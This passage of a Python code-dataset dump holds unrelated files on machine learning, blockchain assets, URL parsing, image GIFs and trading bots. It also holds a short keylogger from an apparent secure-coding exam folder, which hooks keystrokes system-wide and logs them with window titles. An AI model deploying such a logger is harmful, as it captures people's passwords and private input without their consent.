i[0].CNCO=4\n NUMCO_Multi[counter] = len(i[0].CNCO)\n CNCO_Multi.append(i[0].CNCO)\n GCN_Multi.append(i[0].GCN)\n CNPt_Multi.append(i[0].CNPt)\n NumPt_Multi[counter] = i[0].NumPt\n NUMBULK_Multi[counter] = i[0].bulk_atoms\n INTENSITIES_Multi[counter] = i[0].spectrum[1]\n COV_Multi[counter] = i[0].coverage\nNumPt_Multi[NumPt_Multi==16]=64\nComponentList = [] \nfor i in range(len(CNCO_Multi)):\n SubcomponentList = []\n for ii in range(NUMCO_Multi[i]):\n for iii in range(len(SingleCO)):\n if CNCO_Single[iii] == CNCO_Multi[i][ii] and CNPt_Single[iii] == CNPt_Multi[i][ii]\\\n and NumPt_Single[iii] == NumPt_Multi[i] and round(GCN_Single[iii],5) == round(GCN_Multi[i][ii],5):\n SubcomponentList.append(iii)\n break\n ComponentList.append(SubcomponentList)\n\nComponentList = np.array(ComponentList)\nComponentLength = np.array([ len(i) for i in ComponentList])\nIS_SINGLE = [len(list(set(i)))==1 for i in ComponentList]\nIS_Zero = (ComponentLength-NUMCO_Multi)==0\nSELECT = [a and b for a,b in zip(IS_SINGLE,IS_Zero)]\nComponentList = ComponentList[SELECT]\nyINT = INTENSITIES_Multi[SELECT]\nyCOV = COV_Multi[SELECT]\nyNUMCO = NUMCO_Multi[SELECT]\nyNUMBULK = NUMBULK_Multi[SELECT]\nyCNCO = np.array(CNCO_Multi)[SELECT]\nyGCN = np.array(GCN_Multi)[SELECT]\nytargets = list(set(np.sum(yCNCO)))\nxINT = np.zeros(yINT.shape)\nyconv = np.array([np.zeros(4)]*len(yCNCO))\nfor counter, CNCOList in enumerate(yCNCO):\n xINT[counter] = np.sum(INTENSITIES_Single[ComponentList[counter]],axis=0)\n yconv[counter] = np.array([len([ii for ii in CNCOList if ii==iii]) for iii in ytargets])\n\nsites = [list(set(i)) for i in yCNCO]\nsites = [[str(ii) for ii in i] for i in sites]\nysites = np.array([list(set(i))[0] for i in yCNCO])\nysiteGCN = np.array([list(set(i))[0] for i in yGCN])\nFingerprint = np.zeros(len(yCOV),dtype='int')\nfor counter, i in enumerate(sites):\n newstring = ''\n for ii in i:\n newstring += ii\n Fingerprint[counter] = int(str(int(10000*round(yCOV[counter],3)))+newstring)\nytargets = list(set(Fingerprint))\nyoccurance = np.array([len([ii for ii in Fingerprint if ii==iii]) for iii in ytargets])\nset_weights = 1/yoccurance*1/np.sum(1/yoccurance)\nsample_weights = np.zeros(len(yCOV))\nfor counter, target in enumerate(ytargets):\n sample_weights[Fingerprint==target] = set_weights[counter]\nsample_weights *=100\nFWHM=100\nsigma = FWHM/(FREQUENCY[1]-FREQUENCY[0])/(2.0 * np.sqrt(2.0 * np.log(2.)))\nyconv /= np.sum(yconv,axis=1).reshape((-1,1))\nX = np.zeros((len(xINT),4))\nX_PEAKS = np.zeros((len(xINT),2))\nX_FREQS = np.zeros((len(xINT),2))\nxINT_smoothed = gaussian_filter1d(xINT,sigma,axis=1)\nfor counter, signal in enumerate(xINT_smoothed):\n peaks = argrelmax(signal)[0]\n INT_SORT = np.argsort(signal[peaks])\n order = peaks[INT_SORT][::-1][0:2]\n X_PEAKS[counter][0:2] = signal[order]\n X_FREQS[counter][0:2] = FREQUENCY[order]\n X[counter][0:2] = signal[order]\n X[counter][2:4] = FREQUENCY[order]\n\ny = np.zeros((len(yINT),4))\ny_PEAKS = np.zeros((len(yINT),2))\ny_FREQS = np.zeros((len(yINT),2))\nyINT_smoothed = gaussian_filter1d(yINT,sigma,axis=1)\nfor counter, signal in enumerate(yINT_smoothed):\n peaks = argrelmax(signal)[0]\n INT_SORT = np.argsort(signal[peaks])\n order = peaks[INT_SORT][::-1][0:2]\n y_PEAKS[counter][0:2] = signal[order]\n y_FREQS[counter][0:2] = FREQUENCY[order]\n y[counter][0:2] = signal[order]\n y[counter][2:4] = FREQUENCY[order]\n\nXmodel = np.concatenate((yCOV,np.zeros(len(yCOV))))\nymodel = np.concatenate((y/X,X/X))\nmodelsites = np.concatenate((ysites,ysites))\n\nnp.random.uniform()\nf1,V = np.polyfit(Xmodel[modelsites==1],ymodel[modelsites==1][:,0],deg=1,cov=True)\nslope, intercept, r_value, p_value, std_err = linregress(Xmodel[modelsites==4],ymodel[modelsites==4][:,2])\nprint(p_value)\n\n#modelsites = atop(+1),bridge(+2),threefold(+3),fourfold(+4)\nfor i in range(4):\n plt.plot(Xmodel[modelsites==i+1],ymodel[modelsites==i+1][:,1],'o')\nplt.legend([1,2,3,4])\n","sub_path":"Predict_Coverage_Ridge.py","file_name":"Predict_Coverage_Ridge.py","file_ext":"py","file_size_in_byte":6033,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"142713877","text":"from core import bigchaindb\nfrom core.key_pairs import get_appKeyPair\nfrom core.utils import current_time\n\nimport app\n\nfrom . import log\n\nsigner = get_appKeyPair()\n\n\nclass AssetType():\n \"\"\" Abstract AssetType class\n \"\"\"\n\n # Each Id present for an unique AssetType.\n id = None\n\n @staticmethod\n def get_name():\n \"\"\"\n Asset type name. Child class implement this function\n \"\"\"\n raise NotImplementedError(\"Need implementation.\")\n\n @classmethod\n def get_asset_ns(cls):\n \"\"\"\n Asset namespace.\n \"\"\"\n return '%s.%s' % (app.namespace, cls.get_name())\n\n @classmethod\n def get_instance_ns(cls, public_key):\n \"\"\"\n Return the namespace of asset type instance.\n \"\"\"\n return '%s.%s' % (cls.get_asset_ns(), public_key)\n\n @classmethod\n def get_or_create(cls, app_id, can_link):\n \"\"\"\n Get or create an specific asset type.\n \"\"\"\n namespace = cls.get_asset_ns()\n metadata = {\n 'can_link': can_link\n }\n\n asset = {\n 'data': {\n 'ns': namespace,\n 'link': app_id,\n 'name': cls.get_name()\n }\n }\n\n # Retrieve or create new asset type\n cls.id = bigchaindb.get_or_create_asset(\n signer, namespace, asset, metadata)\n\n return cls.id\n\n @classmethod\n def get(cls, asset_id=None):\n \"\"\"\n Get asset type group id\n \"\"\"\n if asset_id is None:\n asset_ns = cls.get_asset_ns()\n asset_id = bigchaindb.search_asset(signer, asset_ns)\n\n return bigchaindb.get(asset_id)\n\n @classmethod\n def create_instance(cls, public_key):\n \"\"\"\n Assign to DealerGroup\n \"\"\"\n\n # The AssetType id must be created or retrieved\n # before creating a new instance\n assert cls.id, 'The {class_name} id must be set. Please run {class_name}.get_or_create()'.format(cls.__name__) # noqa\n\n tx_id = cls.get_granted_permission(public_key)\n\n if tx_id is not None:\n log.info(\n 'The key %s is already exsited in this transaction id %s',\n public_key,\n tx_id)\n return tx_id\n\n metadata = {\n 'event': 'Created %s instance' % (cls.__name__),\n 'created_at': current_time(),\n 'eventData': {\n 'assetType': cls.get_name()\n },\n 'publicKey': signer.public_key\n }\n\n asset = {\n 'data': {\n 'link': cls.id,\n 'ns': cls.get_instance_ns(public_key)\n }\n }\n\n recipients = (public_key)\n tx_id = bigchaindb.create_asset(\n signer, asset, metadata, recipients=recipients)\n log.info(\n 'The key %s is linked to %s in this transaction id %s',\n public_key,\n cls.__name__,\n tx_id)\n\n @classmethod\n def get_granted_permission(cls, public_key):\n \"\"\"\n Check wether a public key is granted admin right.\n\n Args:\n public_key (str): The public key to check permison is granted\n\n Returns:\n Transaction Id (str) if admin right is granted otherwise None\n \"\"\"\n namespace = cls.get_instance_ns(public_key)\n return bigchaindb.search_asset(public_key, namespace)\n","sub_path":"vehicle-management/src/asset/types.py","file_name":"types.py","file_ext":"py","file_size_in_byte":3419,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"185820470","text":"import copy\nimport os\n\nimport kerastuner\nimport kerastuner.engine.hypermodel as hm_module\nimport tensorflow as tf\n\nfrom autokeras import const\nfrom autokeras import oracle as oracle_module\n\n\nclass AutoTuner(kerastuner.engine.multi_execution_tuner.MultiExecutionTuner):\n \"\"\"A Tuner class based on KerasTuner for AutoKeras.\n\n Different from KerasTuner's Tuner class. AutoTuner's not only tunes the\n Hypermodel which can be directly built into a Keras model, but also the\n preprocessors. Therefore, a HyperGraph stores the overall search space containing\n both the Preprocessors and Hypermodel. For every trial, the HyperGraph build the\n PreprocessGraph and KerasGraph with the provided HyperParameters.\n\n The AutoTuner uses EarlyStopping for acceleration during the search and fully\n train the model with full epochs and with both training and validation data.\n The fully trained model is the best model to be used by AutoModel.\n\n # Arguments\n **kwargs: The args supported by KerasTuner.\n \"\"\"\n\n def __init__(self, **kwargs):\n super().__init__(**kwargs)\n self._finished = False\n # hyper_graph is set during fit of AutoModel.\n self.hyper_graph = None\n self.preprocess_graph = None\n\n # Override the function to prevent building the model during initialization.\n def _populate_initial_space(self):\n pass\n\n def run_trial(self, trial, **fit_kwargs):\n \"\"\"Preprocess the x and y before calling the base run_trial.\"\"\"\n # Initialize new fit kwargs for the current trial.\n new_fit_kwargs = copy.copy(fit_kwargs)\n\n # Preprocess the dataset and set the shapes of the HyperNodes.\n self.preprocess_graph, keras_graph = self.hyper_graph.build_graphs(\n trial.hyperparameters)\n self.hypermodel = hm_module.KerasHyperModel(keras_graph)\n\n self._prepare_run(self.preprocess_graph, new_fit_kwargs, True)\n\n super().run_trial(trial, **new_fit_kwargs)\n\n def _prepare_run(self, preprocess_graph, fit_kwargs, fit=False):\n dataset, validation_data = preprocess_graph.preprocess(\n dataset=fit_kwargs.get('x', None),\n validation_data=fit_kwargs.get('validation_data', None),\n fit=fit)\n\n # Batching\n batch_size = fit_kwargs.pop('batch_size', 32)\n dataset = dataset.batch(batch_size)\n validation_data = validation_data.batch(batch_size)\n\n # Update the new fit kwargs values\n fit_kwargs['x'] = dataset\n fit_kwargs['validation_data'] = validation_data\n fit_kwargs['y'] = None\n\n def _get_save_path(self, trial, name):\n filename = '{trial_id}-{name}'.format(trial_id=trial.trial_id, name=name)\n return os.path.join(self.get_trial_dir(trial.trial_id), filename)\n\n def on_trial_end(self, trial):\n \"\"\"Save and clear the hypermodel and preprocess_graph.\"\"\"\n super().on_trial_end(trial)\n\n self.preprocess_graph.save(self._get_save_path(trial, 'preprocess_graph'))\n self.hypermodel.hypermodel.save(self._get_save_path(trial, 'keras_graph'))\n\n self.preprocess_graph = None\n self.hypermodel = None\n\n def load_model(self, trial):\n \"\"\"Load the model in a history trial.\n\n # Arguments\n trial: Trial. The trial to be loaded.\n\n # Returns\n Tuple of (PreprocessGraph, KerasGraph, tf.keras.Model).\n \"\"\"\n preprocess_graph, keras_graph = self.hyper_graph.build_graphs(\n trial.hyperparameters)\n # TODO: Use constants for these strings.\n preprocess_graph.reload(self._get_save_path(trial, 'preprocess_graph'))\n keras_graph.reload(self._get_save_path(trial, 'keras_graph'))\n self.hypermodel = hm_module.KerasHyperModel(keras_graph)\n models = (preprocess_graph, keras_graph, super().load_model(trial))\n self.hypermodel = None\n return models\n\n def get_best_model(self):\n \"\"\"Load the best PreprocessGraph and Keras model.\n\n It is mainly used by the predict and evaluate function of AutoModel.\n\n # Returns\n Tuple of (PreprocessGraph, tf.keras.Model).\n \"\"\"\n preprocess_graph, keras_graph, model = self.get_best_models()[0]\n model.load_weights(self.best_model_path)\n return preprocess_graph, model\n\n def search(self,\n hyper_graph,\n callbacks=None,\n fit_on_val_data=False,\n **fit_kwargs):\n \"\"\"Search for the best HyperParameters.\n\n If there is not early-stopping in the callbacks, the early-stopping callback\n is injected to accelerate the search process. At the end of the search, the\n best model will be fully trained with the specified number of epochs.\n\n # Arguments\n hyper_graph: HyperGraph. The HyperGraph to be tuned.\n callbacks: A list of callback functions. Defaults to None.\n fit_on_val_data: Boolean. Use the training set and validation set for the\n final fit of the best model.\n \"\"\"\n if self._finished:\n return\n self.hyper_graph = hyper_graph\n\n # Insert early-stopping for acceleration.\n if not callbacks:\n callbacks = []\n new_callbacks = self._deepcopy_callbacks(callbacks)\n if not any([isinstance(callback, tf.keras.callbacks.EarlyStopping)\n for callback in callbacks]):\n new_callbacks.append(tf.keras.callbacks.EarlyStopping(patience=10))\n\n super().search(callbacks=new_callbacks, **fit_kwargs)\n\n # Fully train the best model with original callbacks.\n if not any([isinstance(callback, tf.keras.callbacks.EarlyStopping)\n for callback in callbacks]) or fit_on_val_data:\n best_trial = self.oracle.get_best_trials(1)[0]\n best_hp = best_trial.hyperparameters\n preprocess_graph, keras_graph = self.hyper_graph.build_graphs(best_hp)\n fit_kwargs['callbacks'] = self._deepcopy_callbacks(callbacks)\n self._prepare_run(preprocess_graph, fit_kwargs, fit=True)\n if fit_on_val_data:\n fit_kwargs['x'] = fit_kwargs['x'].concatenate(\n fit_kwargs['validation_data'])\n model = keras_graph.build(best_hp)\n model.fit(**fit_kwargs)\n else:\n preprocess_graph, keras_graph, model = self.get_best_models()[0]\n\n model.save_weights(self.best_model_path)\n self._finished = True\n\n @property\n def best_model_path(self):\n return os.path.join(self.project_dir, 'best_model')\n\n\nclass RandomSearch(AutoTuner, kerastuner.RandomSearch):\n \"\"\"KerasTuner RandomSearch with preprocessing layer tuning.\"\"\"\n pass\n\n\nclass Hyperband(AutoTuner, kerastuner.Hyperband):\n \"\"\"KerasTuner Hyperband with preprocessing layer tuning.\"\"\"\n pass\n\n\nclass BayesianOptimization(AutoTuner, kerastuner.BayesianOptimization):\n \"\"\"KerasTuner BayesianOptimization with preprocessing layer tuning.\"\"\"\n pass\n\n\nclass Greedy(AutoTuner):\n\n def __init__(self,\n hypermodel,\n objective,\n max_trials,\n initial_hps=None,\n seed=None,\n hyperparameters=None,\n tune_new_entries=True,\n allow_new_entries=True,\n **kwargs):\n self.seed = seed\n oracle = oracle_module.GreedyOracle(\n objective=objective,\n max_trials=max_trials,\n initial_hps=initial_hps,\n seed=seed,\n hyperparameters=hyperparameters,\n tune_new_entries=tune_new_entries,\n allow_new_entries=allow_new_entries)\n super().__init__(\n hypermodel=hypermodel,\n oracle=oracle,\n **kwargs)\n\n def search(self, hyper_graph, **kwargs):\n self.oracle.hyper_graph = hyper_graph\n super().search(hyper_graph=hyper_graph, **kwargs)\n\n\nclass ImageClassifierTuner(Greedy):\n def __init__(self, **kwargs):\n super().__init__(\n initial_hps=const.INITIAL_HPS['image_classifier'],\n **kwargs)\n\n\nTUNER_CLASSES = {\n 'bayesian': BayesianOptimization,\n 'random': RandomSearch,\n 'hyperband': Hyperband,\n 'greedy': Greedy,\n 'image_classifier': ImageClassifierTuner,\n 'image_regressor': Greedy,\n 'text_classifier': Greedy,\n 'text_regressor': Greedy,\n 'structured_data_classifier': Greedy,\n 'structured_data_regressor': Greedy,\n}\n\n\ndef get_tuner_class(tuner):\n if isinstance(tuner, str) and tuner in TUNER_CLASSES:\n return TUNER_CLASSES.get(tuner)\n else:\n raise ValueError('The value {tuner} passed for argument tuner is invalid, '\n 'expected one of \"greedy\", \"random\", \"hyperband\", '\n '\"bayesian\".'.format(tuner=tuner))\n","sub_path":"autokeras/tuner.py","file_name":"tuner.py","file_ext":"py","file_size_in_byte":8911,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"162067940","text":"\n#function to validate the YOUTUBE url\ndef validate(url):\n #counting \"youtu\" from the start>end of the string\n if url.count(\"youtu\",0,len(url))==1:\n #counting \".com\" from the start>end of the string\n if url.count(\".com\",0,len(url))==1:\n #url is set to 1 for reference that the url is valid.\n url = 1\n return url\n#simple input function to get the user's URL\nn=input(\"Enter valid URL: \")\n#validating 'n' and assigning the value into 'val'\nval=validate(n)\n#is the url valid?\nif val==1:\n #failsafe verification\n #first 'if' statement is for finding the ID of youtube.com URL's\n if n.count(\".com/\")==1:\n if n.count(\"v=\")==1:\n #finding the place of 'v=' in\n nv=n.find(\"v=\")\n #setting 'id' to the 2 values ahead of the start of v=\n id=n[nv+2]\n print(id)\n #second 'IF' statement is for finding the ID of youtu.be url's\n if n.count(\".be\")==1:\n nv2=n.find(\".be/\")\n id=n[nv2+4]\n print(id)\nelse:\n print(\"That is not a valid URL. Please enter a valid YouTube URL like youtube.com/watch?v= or youtu.be/\")\n","sub_path":"urlPickle.py","file_name":"urlPickle.py","file_ext":"py","file_size_in_byte":1157,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"509756773","text":"class State(object):\n # MARK: Constructor for a state object.\n def __init__(self, state, parent, child):\n # An integer.\n self.state = state\n\n # A state object.\n self.parent = parent\n\n # A set of state objects.\n self.child = child\n\n # An integer.\n self.heuristic = None\n\n # An integer to corresponding move.\n # 0 => No previous move.\n # 1 => 1 is subtracted from the first digit.\n # 2 => 1 is added to the first digit.\n # 3 => 1 is subtracted from the second digit.\n # 4 => 1 is added to the second digit.\n # 5 => 1 is subtracted from the third digit.\n # 6 => 1 is added to the third digit.\n self.previous_move = 0\n\n # For getting the path to current state.\n self.path = \"\"\n\n # For getting the path cost to evaluate in A*.\n self.path_cost = 0\n\n self.evaluation_function = 0\n\n # MARK: Calculating heuristic value and set heuristic value base on goal given.\n def set_heuristic(self, goal):\n current_first_digit = int(self.state_to_string(self.state)[:1])\n current_second_digit = int(self.state_to_string(self.state)[1:2])\n current_third_digit = int(self.state_to_string(self.state)[2:])\n\n goal_first_digit = int(self.state_to_string(goal)[:1])\n goal_second_digit = int(self.state_to_string(goal)[1:2])\n goal_third_digit = int(self.state_to_string(goal)[2:])\n\n calculated_heuristic = abs(current_first_digit - goal_first_digit) + abs(\n current_second_digit - goal_second_digit) + abs(current_third_digit - goal_third_digit)\n\n self.heuristic = calculated_heuristic\n\n return\n\n # MARK: Compare states' content. Return true if they have the same content.\n def is_identical_state(self, target_node):\n if self.state != target_node.state:\n return False\n\n if len(self.child) != len(target_node.child):\n return False\n\n for index in range(len(self.child)):\n if self.child[index].state != target_node.child[index].state:\n return False\n\n return True\n\n # MARK: Add the path to this state.\n def add_path(self, previous_path):\n if previous_path == \"\":\n self.path = self.state_to_string(self.state)\n else:\n self.path = previous_path + \",\" + self.state_to_string(self.state)\n return\n\n # MARK: Return a string that is 3 digits long with padding if needed.\n @staticmethod\n def state_to_string(state):\n if state < 10:\n return \"00\" + str(state)\n elif state < 100:\n return \"0\" + str(state)\n else:\n return str(state)","sub_path":"State.py","file_name":"State.py","file_ext":"py","file_size_in_byte":2723,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"64214448","text":"import win32gui\nimport pythoncom, pyHook\n\ncurWindow = None\n\ndef getCurProc():\n\tglobal curWindow\n\ttry:\n\t\thwnd = win32gui.GetForegroundWindow()\n\t\twinTitle = win32gui.GetWindowText(hwnd)\n\t\t\n\t\tif winTitle != curWindow:\n\t\t\tcurWindow = winTitle\n\t\t\tprint('\\n[%s]' %winTitle)\t\n\texcept:\n\t\tprint('\\n[Unkown Window]')\n\t\tpass\n \ndef OnKeyboardEvent(event):\n\tgetCurProc()\n\tprint ('++ Key:', event.Key, end='')\n\tprint (' KeyID:', event.KeyID)\n\treturn True\n\t\t\ndef main():\n\thm = pyHook.HookManager()\n\thm.KeyDown = OnKeyboardEvent\n\thm.HookKeyboard()\n\tpythoncom.PumpMessages()\t\n\t\nif __name__ == '__main__':\n\tmain()","sub_path":"secureCode/s_exam/Code_5-30-keylogger1.py","file_name":"Code_5-30-keylogger1.py","file_ext":"py","file_size_in_byte":595,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"442635808","text":"#to run as 'py -m Segmentation.utils.input_gif' for import reasons\n\nimport tensorflow as tf\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib.animation as animation\nfrom matplotlib.animation import ArtistAnimation\n\nfrom datetime import datetime\nimport os\nimport sys\n\nfrom Segmentation.utils.data_loader import read_tfrecord\nfrom Segmentation.utils.evaluation_utils import pred_evolution_gif\n\ndef create_single_input_gif(which_volume,\n clean=False):\n\n valid_ds = read_tfrecord(tfrecords_dir='gs://oai-challenge-dataset/tfrecords/valid/',\n batch_size=160,\n buffer_size=500,\n augmentation=None,\n multi_class=True,\n is_training=False,\n use_bfloat16=False,\n use_RGB=False)\n\n for idx, data in enumerate(valid_ds):\n if idx+1 == which_volume:\n x, _ = data\n x = np.array(x)\n\n print(\"\\n\\n\\n\\n+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\")\n print(f\"\\t\\tCollected data for volume {idx+1}\")\n print(\"+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\\n\")\n\n print('Input image data type: {}, shape: {}'.format(type(x), x.shape))\n print('reducing image size')\n x = np.squeeze(x, axis=-1)\n print('Input image data type: {}, shape: {}\\n\\n'.format(type(x), x.shape))\n\n fig, ax = plt.subplots()\n\n gif_frames = []\n for i in range(x.shape[0]):\n print(f\"Analysing slice {i+1}\")\n im = ax.imshow(x[i,:,:], cmap='gray', animated=True, aspect='auto')\n if not clean:\n text = ax.text(0.5,1.05,f'Slice {i+1}', \n size=plt.rcParams[\"axes.titlesize\"],\n ha=\"center\", transform=ax.transAxes)\n gif_frames.append([im, text])\n else:\n ax.axis('off')\n gif_frames.append([im])\n\n break\n\n pred_evolution_gif(fig, gif_frames, save_dir='results/input_volume_gif2.gif')\n\n\ndef create_collage_input_gif(rows,\n cols,\n no_margins=True,\n shift_start=False):\n \n valid_ds = read_tfrecord(tfrecords_dir='gs://oai-challenge-dataset/tfrecords/valid/',\n batch_size=160,\n buffer_size=500,\n augmentation=None,\n multi_class=True,\n is_training=False,\n use_bfloat16=False,\n use_RGB=False)\n\n volume_numbers = rows*cols\n fig, axes = plt.subplots(rows, cols)\n fig.set_facecolor('black')\n gif_frames = [[] for _ in range(160)]\n r, c = 0, 0\n shifted_start = 0\n possible_start = np.arange(start=int(160/volume_numbers), stop=160, step=int(160/volume_numbers))\n\n for idx, data in enumerate(valid_ds):\n if idx+1 <= volume_numbers:\n if c == cols:\n c = 0\n r = r+1\n x, _ = data\n x = np.array(x)\n\n print(\"\\n\\n\\n\\n+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\")\n print(f\"\\t\\tCollected data for volume {idx+1}\")\n print(\"+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\\n\")\n\n print('Input image data type: {}, shape: {}'.format(type(x), x.shape))\n print('reducing image size')\n x = np.squeeze(x, axis=-1)\n print('Input image data type: {}, shape: {}\\n\\n'.format(type(x), x.shape))\n\n for i in range(x.shape[0]):\n print(f\"Analysing slice {i+1} of Volume {idx+1}\")\n im = axes[r,c].imshow(x[i,:,:], cmap='gray', animated=True, aspect='auto')\n axes[r,c].axis('off')\n if i+shifted_start == 160:\n shifted_start = -i\n gif_frames[i+shifted_start].append(im)\n\n c = c+1\n if shift_start:\n which = np.random.randint(len(possible_start)+1)\n shifted_start = possible_start[which]\n possible_start = np.delete(possible_start, which) \n\n\n else:\n break\n\n pred_evolution_gif(fig, gif_frames, save_dir='results/gif_collage_3x4_random.gif', no_margins=no_margins)\n\n# def gif_collage(figures,\n# gifs_lists,\n# interval=300,\n# save_dir='',\n# save=True,\n# show=False):\n\n# print(\"\\n\\n\\n\\n=================\")\n# print(\"checking for ffmpeg...\")\n# if not os.path.isfile('./../../../opt/conda/bin/ffmpeg'):\n# print(\"please 'pip install ffmpeg' to create gif\")\n# print(\"gif not created\")\n \n# else:\n# print(\"ffmpeg found\")\n# print(\"creating gif collage ...\\n\")\n# gif = ArtistAnimation(fig, frames_list, interval, repeat=True) # create gif\n\n# if save:\n# plt.tight_layout()\n# plt.gca().set_axis_off()\n# plt.subplots_adjust(top = 1, bottom = 0, right = 1, left = 0, \n# hspace = 0, wspace = 0)\n# plt.margins(0,0)\n# plt.gca().xaxis.set_major_locator(plt.NullLocator())\n# plt.gca().yaxis.set_major_locator(plt.NullLocator())\n# if save_dir == '':\n# time = datetime.now().strftime(\"%Y%m%d-%H%M%S\")\n# save_dir = 'results/gif'+ time + '.gif'\n\n# plt.rcParams['animation.ffmpeg_path'] = r'//opt//conda//bin//ffmpeg' # set directory of ffmpeg binary file\n# Writer = animation.writers['ffmpeg']\n# ffmwriter = Writer(fps=1000//interval, metadata=dict(artist='Me'), bitrate=1800) #set the save writer\n# gif.save('results/temp_video.mp4', writer=ffmwriter)\n\n# codeBASH = f\"ffmpeg -i 'results/temp_video.mp4' -loop 0 {save_dir}\" #convert mp4 to gif\n# os.system(codeBASH)\n# os.remove(\"results/temp_video.mp4\")\n\n# plt.close('all')\n\n# if show:\n# plt.show()\n# plt.close('all')\n \n# print(\"\\n\\n=================\")\n# print('done\\n\\n')\n\nif __name__ == '__main__':\n # print('\\n\\n\\n\\n\\n')\n # for p in sys.path:\n # print(p)\n # print('\\n\\n\\n\\n\\n')\n # create_single_input_gif(1, clean=True)\n create_collage_input_gif(rows=3, cols=4, no_margins=True, shift_start=True)\n\n \n\n","sub_path":"Segmentation/utils/input_gif.py","file_name":"input_gif.py","file_ext":"py","file_size_in_byte":6705,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"424152038","text":"import subprocess\nimport tempfile\nimport os\nimport json\n\nfrom nl2prog.utils.data import Entry, ListDataset\n\n\ndef download(bin_dir: str = \"bin\"):\n with tempfile.TemporaryDirectory() as tmpdir:\n subprocess.run(\n [os.path.join(bin_dir, \"download_nl2bash.bash\"), tmpdir])\n\n with open(os.path.join(tmpdir, \"nl2bash\", \"data\", \"bash\",\n \"train.filtered.json\")) as file:\n train = json.load(file)\n with open(os.path.join(tmpdir, \"nl2bash\", \"data\", \"bash\",\n \"test.filtered.json\")) as file:\n test = json.load(file)\n with open(os.path.join(tmpdir, \"nl2bash\", \"data\", \"bash\",\n \"dev.filtered.json\")) as file:\n valid = json.load(file)\n\n def to_entry(example):\n return Entry(example[\"source\"], example[\"target\"])\n\n def to_group(group):\n return [to_entry(example) for example in group[\"examples\"]]\n dataset = {}\n dataset[\"train\"] = \\\n ListDataset([to_group(group) for group in train[\"examples\"]])\n dataset[\"test\"] = \\\n ListDataset([to_group(group) for group in test[\"examples\"]])\n dataset[\"valid\"] = \\\n ListDataset([to_group(group) for group in valid[\"examples\"]])\n\n return dataset\n","sub_path":"nl2prog/dataset/nl2bash/download.py","file_name":"download.py","file_ext":"py","file_size_in_byte":1285,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"640093621","text":"# -*- coding: utf-8 -*-\nimport re\nfrom typing import Tuple\n\n\ndef hex_color_code(css_code: Tuple[str, ...]) -> None:\n \"\"\"\n >>> hex_color_code(('#BED', '{', ' color: #FfFdF8; background-color:#aef;',\n ... ' font-size: 123px;', '', '}', '#Cab', '{', ' background-color: #ABC;',\n ... ' border: 2px dashed #fff;', '}'))\n #FfFdF8\n #aef\n #ABC\n #fff\n \"\"\"\n pattern = re.compile(r':?.(#[0-9a-f]{6}|#[0-9a-f]{3})', re.I)\n for line in css_code:\n matches = pattern.findall(line)\n if matches:\n print(*matches, sep='\\n')\n\n\nif __name__ == '__main__':\n css_code = tuple(input() for _ in range(int(input())))\n hex_color_code(css_code)\n","sub_path":"python/easy/regex-and-parsing/hex_color_code.py","file_name":"hex_color_code.py","file_ext":"py","file_size_in_byte":681,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"254604933","text":"A,B,C,D = map(int, input().split())\nM=A\nR=0\ncount=0\nwhile(1):\n if C*D <= B:\n print(-1)\n break\n if M<=D*R:\n print(count)\n break\n else :\n M=M+B\n R=R+C\n count=count+1\n ","sub_path":"207/207_B.py","file_name":"207_B.py","file_ext":"py","file_size_in_byte":226,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"59074656","text":"#!/usr/bin/env python\n\nif \"hummingbot-dist\" in __file__:\n # Dist environment.\n import os\n import sys\n sys.path.append(sys.path.pop(0))\n sys.path.insert(0, os.getcwd())\n\n import hummingbot;hummingbot.set_prefix_path(os.getcwd())\nelse:\n # Dev environment.\n from os.path import join, realpath\n import sys; sys.path.insert(0, realpath(join(__file__, \"../../\")))\n\nimport logging\nimport asyncio\nfrom typing import (\n List,\n Coroutine\n)\n\nfrom hummingbot import init_logging\nfrom hummingbot.cli.hummingbot_application import HummingbotApplication\nfrom hummingbot.cli.settings import (\n global_config_map,\n create_yml_files,\n read_configs_from_yml\n)\nfrom hummingbot.cli.ui.stdout_redirection import patch_stdout\nfrom hummingbot.cli.settings import in_memory_config_map\nfrom hummingbot.cli.utils.wallet_setup import unlock_wallet\n\n\nSTRATEGY = \"\"\nSTRATEGY_PATH = \"\"\nWALLET_PUBLIC_KEY = \"\"\nWALLET_PASSWORD = \"\"\n\n\nasync def main():\n await create_yml_files()\n init_logging(\"hummingbot_logs.yml\")\n read_configs_from_yml()\n hb = HummingbotApplication()\n hb.acct = unlock_wallet(public_key=WALLET_PUBLIC_KEY, password=WALLET_PASSWORD)\n\n with patch_stdout(log_field=hb.app.log_field):\n init_logging(\"hummingbot_logs.yml\", override_log_level=global_config_map.get(\"log_level\").value)\n logging.getLogger().info(\"____DEV_MODE__start_directly__\")\n\n in_memory_config_map.get(\"strategy\").value = STRATEGY\n in_memory_config_map.get(\"strategy\").validate(STRATEGY)\n in_memory_config_map.get(\"strategy_file_path\").value = STRATEGY_PATH\n in_memory_config_map.get(\"strategy_file_path\").validate(STRATEGY_PATH)\n global_config_map.get(\"wallet\").value = WALLET_PUBLIC_KEY\n\n tasks: List[Coroutine] = [hb.run()]\n await asyncio.gather(*tasks)\n\n\nif __name__ == \"__main__\":\n ev_loop: asyncio.AbstractEventLoop = asyncio.get_event_loop()\n 